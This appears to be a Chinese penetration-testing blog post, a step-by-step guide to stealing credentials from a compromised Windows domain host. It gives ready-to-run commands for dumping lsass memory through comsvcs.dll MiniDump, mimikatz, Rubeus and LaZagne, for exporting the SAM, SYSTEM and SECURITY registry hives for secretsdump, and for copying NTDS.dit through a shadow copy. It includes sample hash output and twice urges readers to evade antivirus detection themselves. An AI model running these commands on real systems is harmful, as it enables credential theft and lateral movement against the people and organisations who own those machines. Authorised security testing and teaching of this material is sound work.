渗透测试--Windows凭证收集

发布于:2024-12-06 ⋅ 阅读:(92) ⋅ 点赞:(0)

        在渗透测试过程中,我们终究会遇到攻陷了某台加域Windows主机的情况。而这种情况下,我们很需要搜集当前主机的凭证信息。为进一步利用这些相互信任的凭证来进行横向打下基础。

        在凭证收集中,我们主要有以下场景:

1.lsass.exe的DMP文件

        从中我们能获取转储文件,离线解析以获取凭证

2.lsass的内存窃取凭证

        在线解析lsass程序内存

3.sam数据库

        sam数据库时在主机没有加域的情况下,会采用的一种认证措施,里面会有所有使用这个机器的用户的凭证信息

4.配置文件

        设备中的配置文件有时会包含凭证信息,我们值得留意 

5.NTDS.dit

        这个时域控的头头,包含域内所有用户的凭证

lsass.exe的DMP文件提取凭证

        lsass.exe是Windows主机中对于凭证管理的非常重要的进程,所以它的内存当中通常会包含我们想知道的东西。所以我们的主要目的就是获取他的内存。

有桌面情况下获取lsass内存

        打开任务管理器,找到local security auth...

         点击创建内存转储文件

        OK,you got it 就是这么简单

        后面的步骤就是将咱们的转储文件送到VPS上然后使用pypykatz进行解析。解析办法再后面的小节说,而传送方法呢参考之前的文章渗透测试--Windows系统下的文件传输手段-CSDN博客

cmd情况下获取lsass

        我们可以通过rundll32.exe来完成cmd情况下的DMP文件获取。值得一提的是rundll32.exe在现代检查工具中是恶意软件。

找到LSASS PID 

tasklist /svc
PS C:\Windows\system32> Get-Process lsass

 Powershell创建DMP文件

        下面的命令是恶意活动,需要自行想办法逃避AV检查

PS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full

        下面的命令是恶意活动,需要自行想办法逃避AV检查

PS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full

         后面的步骤就是将咱们的转储文件送到VPS上然后使用pypykatz进行解析。解析办法再后面的小节说,而传送方法呢参考之前的文章渗透测试--Windows系统下的文件传输手段-CSDN博客

解析lsass

        解析就是这么简单,pypykatz一般kali自带,但是如果无法正常运行就卸载重新安装。

pypykatz lsa minidump /home/peter/Documents/lsass.dmp 

 DMP的内容

        解析出来的lsass中通常会包含很多内容,一下是一些举例

MSV

sid S-1-5-21-4019466498-1700476312-3544718034-1001
luid 1354633
	== MSV ==
		Username: bob
		Domain: DESKTOP-33E7O54
		LM: NA
		NT: 64f12cddaa88057e06a81b54e73b949b
		SHA1: cba4e545b7ec918129725154b29f055e4cd5aea8
		DPAPI: NA

 WDIGEST

	== WDIGEST [14ab89]==
		username bob
		domainname DESKTOP-33E7O54
		password None
		password (hex)

Kerberos

	== Kerberos ==
		Username: bob
		Domain: DESKTOP-33E7O54

DPAPI

        Data protection API ,通常用于给Windows操作系统和第三方应用密码加解密工作。

	== DPAPI [14ab89]==
		luid 1354633
		key_guid 3e1d1091-b792-45df-ab8e-c66af044d69b
		masterkey e8bc2faf77e7bd1891c0e49f0dea9d447a491107ef5b25b9929071f68db5b0d55bf05df5a474d9bd94d98be4b4ddb690e6d8307a86be6f81be0d554f195fba92
		sha1_masterkey 52e758b6120389898f7fae553ac8172b43221605
Applications Use of DPAPI
Internet Explorer Password form auto-completion data (username and password for saved sites).
Google Chrome Password form auto-completion data (username and password for saved sites).
Outlook Passwords for email accounts.
Remote Desktop Connection Saved credentials for connections to remote machines.
Credential Manager Saved credentials for accessing shared resources, joining Wireless networks, VPNs and more.

自动化手段 

nxc smb -u <username> -p <password> --lsa

lsass的内存窃取凭证

 使用mimikatz在Windows内存中搜索凭据

有桌面情况,双击mimikatz,执行命令

privilege::debug

 提取NTLMhash

sekurlsa::logonpasswords

cmd情况

mimikatz.exe privilege::debug "sekurlsa::logonpasswords" exit

使用mimikatz在Windows中提取票证

sekurlsa::tickets /export

使用mimikatz在windows中提取Kerberos秘钥

sekurlsa::ekeys

使用Rubeus提取票证

c:\tools> Rubeus.exe dump /nowrap

 lazagne.exe自动化搜索凭据

        该程序是恶意程序,AV检测会被检出,请各位自己大显身手免杀吧

Release Release v2.4.6 · AlessandroZ/LaZagne · GitHub

C:\Users\bob\Desktop> start lazagne.exe all

sam数据库提取凭证

        sam数据库中也存在很多凭证,一般是工作组主机才会有用它。想要得到它,我们需要管理员权限,然后从注册表提取它。

%SystemRoot%/system32/config/SAMHKLM/SAM

复制SAM数据库

C:\WINDOWS\system32> reg.exe save hklm\sam C:\sam.save
The operation completed successfully.
C:\WINDOWS\system32> reg.exe save hklm\system C:\system.save
The operation completed successfully.
C:\WINDOWS\system32> reg.exe save hklm\security C:\security.save
The operation completed successfully.

 传送SAM数据库文件

 渗透测试--Windows系统下的文件传输手段-CSDN博客

解析sam数据库

        值得一提的是system是非常重要的点,如果没有system文件我们将无法解密sam数据库。原理如下

注册表配置单元 描述
hklm\sam 包含与本地帐户密码相关的哈希值。我们需要这些哈希值,以便能够破解它们并获取明文形式的用户帐户密码。
hklm\system 包含系统启动密钥,用于加密 SAM 数据库。我们需要启动密钥来解密 SAM 数据库。
hklm\security 包含域帐户的缓存凭据。我们可能会将此内容放在已加入域的 Windows 目标上,从而受益。

 从SAM数据库提取hash

secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

自动化手段

nxc smb -u <username> -p <password> --sam

配置文件获取凭证

        该攻击的原理就比较简单了,就是单纯的找配置文件,快速信息搜集的过程。这些搜索这些可能可以帮助我们

Passwords Passphrases Keys
Username User account Creds
Users Passkeys Passphrases
configuration dbcredential dbpassword
pwd Login Credentials

        密码可能存在的地方

  • Passwords in Group Policy in the SYSVOL share
  • Passwords in scripts in the SYSVOL share
  • Password in scripts on IT shares
  • Passwords in web.config files on dev machines and IT shares
  • unattend.xml
  • Passwords in the AD user or computer description fields
  • KeePass databases --> pull hash, crack and get loads of access.
  • Found on user systems and shares
  • Files such as pass.txt, passwords.docx, passwords.xlsx found on user systems, shares, Sharepoint

     

 在Windows中搜索配置文件

C:\ findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml

在Windows中包含内容地搜索

findstr /s /i cred n:\*.*

在Powershell中按文件名搜索

Get-ChildItem -Recurse -Path N:\ -Include *cred* -File

在Powershell中按内容搜索

Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List

 

NTDS.dit

   域控数据库,里面有域内的所有敏感信息:

  • 用户账户(用户名和密码哈希)
  • 群组帐户
  • 计算机帐户
  • 组策略对象

手动获取NTDS.dit 

创建NTDS所在盘的VSS

*Evil-WinRM* PS C:\> vssadmin CREATE SHADOW /For=C:

从VSS中复制NTDS.dit

*Evil-WinRM* PS C:\NTDS> cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit

自动化手段

nxc smb -u <username> -p <password> --ntds

网站公告

今日签到

点亮在社区的每一天
去签到